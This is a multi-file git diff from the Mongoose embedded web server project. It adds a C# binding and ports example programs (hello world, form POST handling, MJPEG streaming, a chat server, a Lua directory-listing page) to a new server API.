@@ -0,0 +1,37 @@
// This file is part of mongoose web server project,
// https://github.com/cesanta/mongoose
using System;
using System.Runtime.InteropServices;
public class Program {
static private int EventHandler(MongooseEvent ev) {
if (ev.type != 1) {
return 0; // Mark as unhandled
}
MongooseRequestInfo request_info = (MongooseRequestInfo)
Marshal.PtrToStructure(ev.request_info, typeof(MongooseRequestInfo));
if (request_info.uri != "/test") {
return 0; // Mark as unhandled
}
Mongoose.write(ev.conn, "HTTP/1.1 200 OK\r\n\r\n");
Mongoose.write(ev.conn, "Hello from C#!\n");
return 1; // Mark as handled
}
static void Main() {
Mongoose web_server = new Mongoose(".", "9000",
new MongooseEventHandler(EventHandler));
Console.WriteLine("Mongoose v." + web_server.version_ + " started.");
Console.WriteLine("Press enter to exit program.");
// Serve requests until user presses "enter" on a keyboard
Console.ReadLine();
web_server.stop();
}
}
+93
View File
@@ -0,0 +1,93 @@
// This file is part of mongoose web server project,
// https://github.com/cesanta/mongoose
using System;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
};
// mongoose.h :: struct mg_request_info
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
[MarshalAs(UnmanagedType.LPTStr)] public string request_method;
[MarshalAs(UnmanagedType.LPTStr)] public string uri;
[MarshalAs(UnmanagedType.LPTStr)] public string http_version;
[MarshalAs(UnmanagedType.LPTStr)] public string query_string;
[MarshalAs(UnmanagedType.LPTStr)] public string remote_user;
public int remote_ip;
public int remote_port;
public int is_ssl;
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)]
public MongooseHeader[] http_headers;
};
[StructLayout(LayoutKind.Sequential)] public struct MongooseEvent {
public int type;
public IntPtr user_data;
public IntPtr conn_data;
public IntPtr event_param;
public IntPtr conn;
public IntPtr request_info;
};
public delegate int MongooseEventHandlerN(ref MongooseEvent ev);
public delegate int MongooseEventHandler(MongooseEvent ev);
public class Mongoose {
public const string dll_name_ = "mongoose";
public string version_ = "??";
// These are here to store a ref to the callbacks
// while they are over in unmanaged code, to prevent garbage collection.
private event MongooseEventHandlerN delegates;
private IntPtr ctx_;
[DllImport(dll_name_)] private static extern
IntPtr mg_start([MarshalAs(UnmanagedType.LPArray,
ArraySubType=UnmanagedType.LPTStr)] string[] options,
MongooseEventHandlerN callback,
IntPtr user_data);
[DllImport(dll_name_)] private static extern void mg_stop(IntPtr ctx);
[DllImport(dll_name_)] private static extern IntPtr mg_version();
[DllImport(dll_name_)] public static extern int mg_write(IntPtr conn,
string data, int length);
public Mongoose(string document_root,
string listening_ports,
MongooseEventHandler event_handler) {
version_ = Marshal.PtrToStringAnsi(mg_version());
string[] options = {
"document_root", document_root,
"listening_ports", listening_ports,
null
};
MongooseEventHandlerN cb = delegate(ref MongooseEvent ev) {
return event_handler(ev);
};
// Prevent garbage collection
delegates += cb;
ctx_ = mg_start(options, cb, IntPtr.Zero);
}
public static int write(IntPtr conn, string data) {
return mg_write(conn, data, data.Length);
}
public void stop() {
if (this.ctx_ != IntPtr.Zero) {
mg_stop(this.ctx_);
}
this.ctx_ = IntPtr.Zero;
}
~Mongoose() {
stop();
}
}
+8 -378
View File
@@ -1,385 +1,15 @@
// This file is part of the Mongoose project, http://code.google.com/p/mongoose
// It implements an online chat server. For more details,
// see the documentation on the project web site.
// To test the application,
// 1. type "make" in the directory where this file lives
// 2. point your browser to http://127.0.0.1:8081
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <time.h>
#include <stdarg.h>
#include <pthread.h>
#include "mongoose.h" #include "mongoose.h"
#define MAX_USER_LEN 20
#define MAX_MESSAGE_LEN 100
#define MAX_MESSAGES 5
#define MAX_SESSIONS 2
#define SESSION_TTL 120
static const char *authorize_url = "/authorize";
static const char *login_url = "/login.html";
static const char *ajax_reply_start =
"HTTP/1.1 200 OK\r\n"
"Cache: no-cache\r\n"
"Content-Type: application/x-javascript\r\n"
"\r\n";
// Describes single message sent to a chat. If user is empty (0 length),
// the message is then originated from the server itself.
struct message {
long id; // Message ID
char user[MAX_USER_LEN]; // User that have sent the message
char text[MAX_MESSAGE_LEN]; // Message text
time_t timestamp; // Message timestamp, UTC
};
// Describes web session.
struct session {
char session_id[33]; // Session ID, must be unique
char random[20]; // Random data used for extra user validation
char user[MAX_USER_LEN]; // Authenticated user
time_t expire; // Expiration timestamp, UTC
};
static struct message messages[MAX_MESSAGES]; // Ringbuffer for messages
static struct session sessions[MAX_SESSIONS]; // Current sessions
static long last_message_id;
// Protects messages, sessions, last_message_id
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
// Get session object for the connection. Caller must hold the lock.
static struct session *get_session(const struct mg_connection *conn) {
int i;
const char *cookie = mg_get_header(conn, "Cookie");
char session_id[33];
time_t now = time(NULL);
mg_get_cookie(cookie, "session", session_id, sizeof(session_id));
for (i = 0; i < MAX_SESSIONS; i++) {
if (sessions[i].expire != 0 &&
sessions[i].expire > now &&
strcmp(sessions[i].session_id, session_id) == 0) {
break;
}
}
return i == MAX_SESSIONS ? NULL : &sessions[i];
}
static void get_qsvar(const struct mg_request_info *request_info,
const char *name, char *dst, size_t dst_len) {
const char *qs = request_info->query_string;
mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
}
// Get a get of messages with IDs greater than last_id and transform them
// into a JSON string. Return that string to the caller. The string is
// dynamically allocated, caller must free it. If there are no messages,
// NULL is returned.
static char *messages_to_json(long last_id) {
const struct message *message;
int max_msgs, len;
char buf[sizeof(messages)]; // Large enough to hold all messages
// Read-lock the ringbuffer. Loop over all messages, making a JSON string.
pthread_rwlock_rdlock(&rwlock);
len = 0;
max_msgs = sizeof(messages) / sizeof(messages[0]);
// If client is too far behind, return all messages.
if (last_message_id - last_id > max_msgs) {
last_id = last_message_id - max_msgs;
}
for (; last_id < last_message_id; last_id++) {
message = &messages[last_id % max_msgs];
if (message->timestamp == 0) {
break;
}
// buf is allocated on stack and hopefully is large enough to hold all
// messages (it may be too small if the ringbuffer is full and all
// messages are large. in this case asserts will trigger).
len += snprintf(buf + len, sizeof(buf) - len,
"{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
message->user, message->text, message->timestamp, message->id);
assert(len > 0);
assert((size_t) len < sizeof(buf));
}
pthread_rwlock_unlock(&rwlock);
return len == 0 ? NULL : strdup(buf);
}
// If "callback" param is present in query string, this is JSONP call.
// Return 1 in this case, or 0 if "callback" is not specified.
// Wrap an output in Javascript function call.
static int handle_jsonp(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char cb[64];
get_qsvar(request_info, "callback", cb, sizeof(cb));
if (cb[0] != '\0') {
mg_printf(conn, "%s(", cb);
}
return cb[0] == '\0' ? 0 : 1;
}
// A handler for the /ajax/get_messages endpoint.
// Return a list of messages with ID greater than requested.
static void ajax_get_messages(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char last_id[32], *json;
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
mg_printf(conn, "[%s]", json);
free(json);
}
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// Allocate new message. Caller must hold the lock.
static struct message *new_message(void) {
static int size = sizeof(messages) / sizeof(messages[0]);
struct message *message = &messages[last_message_id % size];
message->id = last_message_id++;
message->timestamp = time(0);
return message;
}
static void my_strlcpy(char *dst, const char *src, size_t len) {
strncpy(dst, src, len);
dst[len - 1] = '\0';
}
// A handler for the /ajax/send_message endpoint.
static void ajax_send_message(struct mg_connection *conn,
const struct mg_request_info *request_info) {
struct message *message;
struct session *session;
char text[sizeof(message->text) - 1];
int is_jsonp;
mg_printf(conn, "%s", ajax_reply_start);
is_jsonp = handle_jsonp(conn, request_info);
get_qsvar(request_info, "text", text, sizeof(text));
if (text[0] != '\0') {
// We have a message to store. Write-lock the ringbuffer,
// grab the next message and copy data into it.
pthread_rwlock_wrlock(&rwlock);
message = new_message();
// TODO(lsm): JSON-encode all text strings
session = get_session(conn);
assert(session != NULL);
my_strlcpy(message->text, text, sizeof(text));
my_strlcpy(message->user, session->user, sizeof(message->user));
pthread_rwlock_unlock(&rwlock);
}
mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
if (is_jsonp) {
mg_printf(conn, "%s", ")");
}
}
// Redirect user to the login form. In the cookie, store the original URL
// we came from, so that after the authorization we could redirect back.
static void redirect_to_login(struct mg_connection *conn,
const struct mg_request_info *request_info) {
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: original_url=%s\r\n"
"Location: %s\r\n\r\n",
request_info->uri, login_url);
}
// Return 1 if username/password is allowed, 0 otherwise.
static int check_password(const char *user, const char *password) {
// In production environment we should ask an authentication system
// to authenticate the user.
// Here however we do trivial check that user and password are not empty
return (user[0] && password[0]);
}
// Allocate new session object
static struct session *new_session(void) {
int i;
time_t now = time(NULL);
pthread_rwlock_wrlock(&rwlock);
for (i = 0; i < MAX_SESSIONS; i++) {
if (sessions[i].expire == 0 || sessions[i].expire < now) {
sessions[i].expire = time(0) + SESSION_TTL;
break;
}
}
pthread_rwlock_unlock(&rwlock);
return i == MAX_SESSIONS ? NULL : &sessions[i];
}
// Generate session ID. buf must be 33 bytes in size.
// Note that it is easy to steal session cookies by sniffing traffic.
// This is why all communication must be SSL-ed.
static void generate_session_id(char *buf, const char *random,
const char *user) {
mg_md5(buf, random, user, NULL);
}
static void send_server_message(const char *fmt, ...) {
va_list ap;
struct message *message;
pthread_rwlock_wrlock(&rwlock);
message = new_message();
message->user[0] = '\0'; // Empty user indicates server message
va_start(ap, fmt);
vsnprintf(message->text, sizeof(message->text), fmt, ap);
va_end(ap);
pthread_rwlock_unlock(&rwlock);
}
// A handler for the /authorize endpoint.
// Login page form sends user name and password to this endpoint.
static void authorize(struct mg_connection *conn,
const struct mg_request_info *request_info) {
char user[MAX_USER_LEN], password[MAX_USER_LEN];
struct session *session;
// Fetch user name and password.
get_qsvar(request_info, "user", user, sizeof(user));
get_qsvar(request_info, "password", password, sizeof(password));
if (check_password(user, password) && (session = new_session()) != NULL) {
// Authentication success:
// 1. create new session
// 2. set session ID token in the cookie
// 3. remove original_url from the cookie - not needed anymore
// 4. redirect client back to the original URL
//
// The most secure way is to stay HTTPS all the time. However, just to
// show the technique, we redirect to HTTP after the successful
// authentication. The danger of doing this is that session cookie can
// be stolen and an attacker may impersonate the user.
// Secure application must use HTTPS all the time.
my_strlcpy(session->user, user, sizeof(session->user));
snprintf(session->random, sizeof(session->random), "%d", rand());
generate_session_id(session->session_id, session->random, session->user);
send_server_message("<%s> joined", session->user);
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Set-Cookie: session=%s; max-age=3600; http-only\r\n" // Session ID
"Set-Cookie: user=%s\r\n" // Set user, needed by Javascript code
"Set-Cookie: original_url=/; max-age=0\r\n" // Delete original_url
"Location: /\r\n\r\n",
session->session_id, session->user);
} else {
// Authentication failure, redirect to login.
redirect_to_login(conn, request_info);
}
}
// Return 1 if request is authorized, 0 otherwise.
static int is_authorized(const struct mg_connection *conn,
const struct mg_request_info *request_info) {
struct session *session;
char valid_id[33];
int authorized = 0;
// Always authorize accesses to login page and to authorize URI
if (!strcmp(request_info->uri, login_url) ||
!strcmp(request_info->uri, authorize_url)) {
return 1;
}
pthread_rwlock_rdlock(&rwlock);
if ((session = get_session(conn)) != NULL) {
generate_session_id(valid_id, session->random, session->user);
if (strcmp(valid_id, session->session_id) == 0) {
session->expire = time(0) + SESSION_TTL;
authorized = 1;
}
}
pthread_rwlock_unlock(&rwlock);
return authorized;
}
static void redirect_to_ssl(struct mg_connection *conn,
const struct mg_request_info *request_info) {
const char *p, *host = mg_get_header(conn, "Host");
if (host != NULL && (p = strchr(host, ':')) != NULL) {
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
"Location: https://%.*s:8082/%s:8082\r\n\r\n",
(int) (p - host), host, request_info->uri);
} else {
mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
}
}
static int begin_request_handler(struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int processed = 1;
if (!request_info->is_ssl) {
redirect_to_ssl(conn, request_info);
} else if (!is_authorized(conn, request_info)) {
redirect_to_login(conn, request_info);
} else if (strcmp(request_info->uri, authorize_url) == 0) {
authorize(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
ajax_get_messages(conn, request_info);
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
ajax_send_message(conn, request_info);
} else {
// No suitable handler found, mark as not processed. Mongoose will
// try to serve the request.
processed = 0;
}
return processed;
}
static const char *options[] = {
"document_root", "html",
"listening_ports", "8081,8082s",
"ssl_certificate", "ssl_cert.pem",
"num_threads", "5",
NULL
};
int main(void) { int main(void) {
struct mg_callbacks callbacks; struct mg_server *server = mg_create_server(NULL);
struct mg_context *ctx; mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", "chat_html_root");
// Initialize random number generator. It will be used later on for printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
// the session identifier creation. for (;;) {
srand((unsigned) time(0)); mg_poll_server(server, 1000);
// Setup and start Mongoose
memset(&callbacks, 0, sizeof(callbacks));
callbacks.begin_request = begin_request_handler;
if ((ctx = mg_start(&callbacks, NULL, options)) == NULL) {
printf("%s\n", "Cannot start chat server, fatal exit");
exit(EXIT_FAILURE);
} }
mg_destroy_server(&server);
// Wait until enter is pressed, then exit return 0;
printf("Chat server started on ports %s, press enter to quit.\n",
mg_get_option(ctx, "listening_ports"));
getchar();
mg_stop(ctx);
printf("%s\n", "Chat server stopped.");
return EXIT_SUCCESS;
} }
// vim:ts=2:sw=2:et
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -3,7 +3,7 @@
var chat = { var chat = {
// Backend URL, string. // Backend URL, string.
// 'http://backend.address.com' or '' if backend is the same as frontend // 'http://backend.address.com' or '' if backend is the same as frontend
backendUrl: '', backendUrl: 'api.lp',
maxVisibleMessages: 10, maxVisibleMessages: 10,
errorMessageFadeOutTimeoutMs: 2000, errorMessageFadeOutTimeoutMs: 2000,
errorMessageFadeOutTimer: null, errorMessageFadeOutTimer: null,
@@ -20,7 +20,7 @@ chat.refresh = function(data) {
if (data === undefined) { if (data === undefined) {
return; return;
} }
$.each(data, function(index, entry) { $.each(data, function(index, entry) {
var row = $('<div>').addClass('message-row').appendTo('#mml'); var row = $('<div>').addClass('message-row').appendTo('#mml');
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString(); var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
@@ -49,9 +49,7 @@ chat.refresh = function(data) {
chat.getMessages = function(enter_loop) { chat.getMessages = function(enter_loop) {
$.ajax({ $.ajax({
dataType: 'jsonp', data: {last_id: chat.lastMessageId, cmd: 'get_messages'},
url: chat.backendUrl + '/ajax/get_messages',
data: {last_id: chat.lastMessageId},
success: chat.refresh, success: chat.refresh,
error: function() { error: function() {
}, },
@@ -82,9 +80,7 @@ chat.handleMessageInput = function(ev) {
return; return;
//input.disabled = true; //input.disabled = true;
$.ajax({ $.ajax({
dataType: 'jsonp', data: { text: input.value, cmd: 'send_message' },
url: chat.backendUrl + '/ajax/send_message',
data: {text: input.value},
success: function(ev) { success: function(ev) {
input.value = ''; input.value = '';
input.disabled = false; input.disabled = false;
@@ -98,6 +94,10 @@ chat.handleMessageInput = function(ev) {
}; };
$(document).ready(function() { $(document).ready(function() {
$.ajaxSetup({
dataType: 'json',
url: chat.backendUrl
});
$('.menu-item').click(chat.handleMenuItemClick); $('.menu-item').click(chat.handleMenuItemClick);
$('.message-input').keypress(chat.handleMessageInput); $('.message-input').keypress(chat.handleMessageInput);
chat.getMessages(true); chat.getMessages(true);
File renamed without changes.
+47
View File
@@ -0,0 +1,47 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int index_html(struct mg_connection *conn) {
FILE *fp = (FILE *) conn->connection_param;
char buf[200];
size_t n = 0;
if (fp == NULL) {
fp = fopen("../mongoose.c", "r");
conn->connection_param = (void *) fp;
}
if (fp != NULL) {
n = fread(buf, 1, sizeof(buf), fp);
mg_send_data(conn, buf, n);
if (n < sizeof(buf) || conn->wsbits != 0) {
fclose(fp);
conn->connection_param = NULL;
}
}
return n < sizeof(buf) ? MG_REQUEST_PROCESSED : MG_REQUEST_CALL_AGAIN;
}
int main(void) {
struct mg_server *server;
// Create and configure the server
server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080");
mg_set_request_handler(server, index_html);
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0;
}
+20 -36
View File
@@ -2,50 +2,34 @@
#include <string.h> #include <string.h>
#include "mongoose.h" #include "mongoose.h"
// This function will be called by mongoose on every new request. static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
static int begin_request_handler(struct mg_connection *conn) { int result = MG_FALSE;
const struct mg_request_info *request_info = mg_get_request_info(conn);
char content[100];
// Prepare the message we're going to send if (ev == MG_REQUEST) {
int content_length = snprintf(content, sizeof(content), mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
"Hello from mongoose! Remote port: %d", result = MG_TRUE;
request_info->remote_port); } else if (ev == MG_AUTH) {
result = MG_TRUE;
}
// Send HTTP reply to the client return result;
mg_printf(conn,
"HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Content-Length: %d\r\n" // Always set Content-Length
"\r\n"
"%s",
content_length, content);
// Returning non-zero tells mongoose that our function has replied to
// the client, and mongoose should not send client any more data.
return 1;
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server;
struct mg_callbacks callbacks;
// List of options. Last element must be NULL. // Create and configure the server
const char *options[] = {"listening_ports", "8080", NULL}; server = mg_create_server(NULL, ev_handler);
mg_set_option(server, "listening_port", "8080");
// Prepare callbacks structure. We have only one callback, the rest are NULL. // Serve request. Hit Ctrl-C to terminate the program
memset(&callbacks, 0, sizeof(callbacks)); printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
callbacks.begin_request = begin_request_handler; for (;;) {
mg_poll_server(server, 1000);
}
// Start the web server. // Cleanup, and free server instance
ctx = mg_start(&callbacks, NULL, options); mg_destroy_server(&server);
// Wait until user hits "enter". Server is running in separate thread.
// Navigating to http://localhost:8080 will invoke begin_request_handler().
getchar();
// Stop the server.
mg_stop(ctx);
return 0; return 0;
} }
+12
View File
@@ -0,0 +1,12 @@
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := examples/server.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
+15
View File
@@ -0,0 +1,15 @@
HTTP/1.0 200 OK
Content-Type: text/plain
<?
-- Directory scanning example
function scandir(dir)
local t = {}
for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
return t
end
local tab = scandir('C:\\')
for k,v in pairs(tab) do mg.write(v, '\n') end
?>
+15 -19
View File
@@ -23,24 +23,20 @@ Content-Type: text/html
<p>Reading POST data from Lua (click submit):</p> <p>Reading POST data from Lua (click submit):</p>
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form> <form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
<pre> <pre>
POST data: [<? POST data: [<? mg.write(mg.request_info.content) ?>]
local post_data = '' request method: [<? mg.write(mg.request_info.request_method) ?>]
if mg.request_info.request_method == 'POST' then IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
post_data = mg.read() mg.request_info.remote_port) ?>]
end URI: [<? mg.write(mg.request_info.uri) ?>]
mg.write(post_data) HTTP version [<? mg.write(mg.request_info.http_version) ?>]
?>] Content Len: [<? mg.write(mg.request_info.content_len) ?>]
request method: [<? mg.write(mg.request_info.request_method) ?>] HEADERS:
IP/port: [<? mg.write(mg.request_info.remote_ip, ':', <?
mg.request_info.remote_port) ?>] for name, value in pairs(mg.request_info.http_headers) do
URI: [<? mg.write(mg.request_info.uri) ?>] mg.write(name, ':', value, '\n')
HTTP version [<? mg.write(mg.request_info.http_version) ?>] end
HEADERS: ?>
<?
for name, value in pairs(mg.request_info.http_headers) do
mg.write(name, ':', value, '\n')
end
?>
</pre> </pre>
</html> </html>
+1 -1
View File
@@ -1,5 +1,5 @@
#include <stdio.h> #include <stdio.h>
#include "lua-5.2.1.h" #include "lua_5.2.1.h"
static int smile(lua_State *L) { static int smile(lua_State *L) {
(void) L; // Unused (void) L; // Unused
+94
View File
@@ -0,0 +1,94 @@
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include "mongoose.h"
static void send_file(struct mg_connection *conn, const char *path) {
char buf[1024];
struct stat st;
int n;
FILE *fp;
if (stat(path, &st) == 0 && (fp = fopen(path, "rb")) != NULL) {
mg_printf(conn, "--myboundary\r\nContent-Type: image/jpeg\r\n"
"Content-Length: %zu\r\n\r\n", st.st_size);
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
mg_write(conn, buf, n);
}
fclose(fp);
mg_write(conn, "\r\n", 2);
}
}
struct conn_state {
int file_index;
time_t last_poll;
};
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
const char **file_names = (const char **) conn->server_param;
struct conn_state *state;
int result = MG_FALSE;
if (ev == MG_REQUEST) {
mg_printf(conn, "%s",
"HTTP/1.0 200 OK\r\n" "Cache-Control: no-cache\r\n"
"Pragma: no-cache\r\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\r\n"
"Connection: close\r\nContent-Type: multipart/x-mixed-replace; "
"boundary=--myboundary\r\n\r\n");
send_file(conn, file_names[0]);
state = (struct conn_state *) malloc(sizeof(*state));
conn->connection_param = state;
state->file_index = 1; // First file is already sent
state->last_poll = time(NULL);
result = MG_MORE;
} else if (ev == MG_POLL) {
time_t now = time(NULL);
state = (struct conn_state *) conn->connection_param;
if (state != NULL && now > state->last_poll) {
if (file_names[state->file_index] != NULL) {
send_file(conn, file_names[state->file_index]);
state->file_index++;
if (file_names[state->file_index] == NULL) {
result = MG_TRUE; // No more images, close connection
}
}
state->last_poll = now;
}
} else if (ev == MG_CLOSE) {
free(conn->connection_param);
conn->connection_param = NULL;
} else if (ev == MG_AUTH) {
result = MG_TRUE;
}
return result;
}
int main(int argc, char *argv[]) {
struct mg_server *server;
if (argc < 3) {
printf("Usage: %s image1.jpg image2.jpg ...\n", argv[0]);
return 1;
}
server = mg_create_server(&argv[1], ev_handler);
mg_set_option(server, "listening_port", "8080");
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+53
View File
@@ -0,0 +1,53 @@
# This program is used to embed arbitrary data into a C binary. It takes
# a list of files as an input, and produces a .c data file that contains
# contents of all these files as collection of char arrays.
#
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
foreach my $i (0 .. $#ARGV) {
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
printf("static const unsigned char v%d[] = {", $i);
my $byte;
my $j = 0;
while (read(FD, $byte, 1)) {
if (($j % 12) == 0) {
print "\n";
}
printf ' %#04x,', ord($byte);
$j++;
}
print " 0x00\n};\n";
close FD;
}
print <<EOS;
#include <stddef.h>
#include <string.h>
static const struct embedded_file {
const char *name;
const unsigned char *data;
size_t size;
} embedded_files[] = {
EOS
foreach my $i (0 .. $#ARGV) {
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
}
print <<EOS;
{NULL, NULL, 0}
};
const char *find_embedded_file(const char *name, size_t *size) {
const struct embedded_file *p;
for (p = embedded_files; p->name != NULL; p++) {
if (!strcmp(p->name, name)) {
if (size != NULL) { *size = p->size; }
return (const char *) p->data;
}
}
return NULL;
}
EOS
+40
View File
@@ -0,0 +1,40 @@
#include "mongoose.h"
// Start a browser and hit refresh couple of times. The replies will
// come from both server instances.
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
mg_send_header(conn, "Content-Type", "text/plain");
mg_printf_data(conn, "This is a reply from server instance # %s",
(char *) conn->server_param);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
}
static void *serve(void *server) {
for (;;) mg_poll_server((struct mg_server *) server, 1000);
return NULL;
}
int main(void) {
struct mg_server *server1, *server2;
server1 = mg_create_server((void *) "1", ev_handler);
server2 = mg_create_server((void *) "2", ev_handler);
// Make both server1 and server2 listen on the same socket
mg_set_option(server1, "listening_port", "8080");
mg_set_listening_socket(server2, mg_get_listening_socket(server1));
// server1 goes to separate thread, server 2 runs in main thread.
// IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
mg_start_thread(serve, server1);
mg_start_thread(serve, server2);
getchar();
return 0;
}
+36 -30
View File
@@ -10,47 +10,53 @@ static const char *html_form =
"<input type=\"submit\" />" "<input type=\"submit\" />"
"</form></body></html>"; "</form></body></html>";
static int begin_request_handler(struct mg_connection *conn) { static void send_reply(struct mg_connection *conn) {
const struct mg_request_info *ri = mg_get_request_info(conn); char var1[500], var2[500];
char post_data[1024], input1[sizeof(post_data)], input2[sizeof(post_data)];
int post_data_len;
if (!strcmp(ri->uri, "/handle_post_request")) { if (strcmp(conn->uri, "/handle_post_request") == 0) {
// User has submitted a form, show submitted data and a variable value // User has submitted a form, show submitted data and a variable value
post_data_len = mg_read(conn, post_data, sizeof(post_data)); // Parse form data. var1 and var2 are guaranteed to be NUL-terminated
mg_get_var(conn, "input_1", var1, sizeof(var1));
// Parse form data. input1 and input2 are guaranteed to be NUL-terminated mg_get_var(conn, "input_2", var2, sizeof(var2));
mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
// Send reply to the client, showing submitted form values. // Send reply to the client, showing submitted form values.
mg_printf(conn, "HTTP/1.0 200 OK\r\n" // POST data is in conn->content, data length is in conn->content_len
"Content-Type: text/plain\r\n\r\n" mg_send_header(conn, "Content-Type", "text/plain");
"Submitted data: [%.*s]\n" mg_printf_data(conn,
"Submitted data length: %d bytes\n" "Submitted data: [%.*s]\n"
"input_1: [%s]\n" "Submitted data length: %d bytes\n"
"input_2: [%s]\n", "input_1: [%s]\n"
post_data_len, post_data, post_data_len, input1, input2); "input_2: [%s]\n",
conn->content_len, conn->content,
conn->content_len, var1, var2);
} else { } else {
// Show HTML form. // Show HTML form.
mg_printf(conn, "HTTP/1.0 200 OK\r\n" mg_send_data(conn, html_form, strlen(html_form));
"Content-Length: %d\r\n" }
"Content-Type: text/html\r\n\r\n%s", }
(int) strlen(html_form), html_form);
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
send_reply(conn);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
} }
return 1; // Mark request as processed
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server = mg_create_server(NULL, ev_handler);
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_callbacks callbacks;
memset(&callbacks, 0, sizeof(callbacks)); mg_set_option(server, "listening_port", "8080");
callbacks.begin_request = begin_request_handler;
ctx = mg_start(&callbacks, NULL, options); printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
getchar(); // Wait until user hits "enter" for (;;) {
mg_stop(ctx); mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0; return 0;
} }
+484
View File
@@ -0,0 +1,484 @@
// Copyright (c) 2004-2013 Sergey Lyubka
// Copyright (c) 2013-2014 Cesanta Software Limited
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#undef UNICODE // Use ANSI WinAPI functions
#undef _UNICODE // Use multibyte encoding on Windows
